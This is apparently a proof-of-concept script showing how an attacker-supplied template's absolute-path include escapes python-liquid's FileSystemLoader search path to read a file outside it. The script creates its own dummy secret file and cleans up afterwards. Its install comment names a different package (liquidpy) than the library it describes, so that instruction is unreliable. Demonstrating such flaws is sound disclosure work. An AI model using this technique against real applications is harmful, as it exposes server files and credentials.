Vulnerable code sample

import os
import shutil
from liquid import Environment, FileSystemLoader

# This code requires a vulnerable version of python-liquid, e.g., pip install "liquidpy<2.2.0"

# 1. Setup a "safe" template directory.
TEMPLATES_DIR = "templates"
os.makedirs(TEMPLATES_DIR, exist_ok=True)

# 2. Create a "secret" file outside the intended template directory.
SECRET_FILE = "secret_file.txt"
with open(SECRET_FILE, "w") as f:
    f.write("This is sensitive content from a file outside the template root.")

# 3. Simulate a malicious template that uses an absolute path to access the secret file.
#    An attacker would provide this content to the application.
absolute_path_to_secret = os.path.abspath(SECRET_FILE)
malicious_template_source = f"{{% include '{absolute_path_to_secret}' %}}"

# 4. The application developer configures the loader, believing it is restricted.
#    In vulnerable versions, the FileSystemLoader does not check if a path
#    provided to `include` is absolute and outside the search path.
env = Environment(loader=FileSystemLoader(search_path=TEMPLATES_DIR))

# 5. The application renders the malicious template.
template = env.from_string(malicious_template_source)
try:
    output = template.render()
    # The output will contain the content of the secret file, proving the vulnerability.
    print("Vulnerability demonstrated. File content read from outside the search path:")
    print(output)
except Exception as e:
    print(f"Failed to render template: {e}")
finally:
    # Cleanup created files and directory
    if os.path.exists(SECRET_FILE):
        os.remove(SECRET_FILE)
    if os.path.exists(TEMPLATES_DIR):
        shutil.rmtree(TEMPLATES_DIR)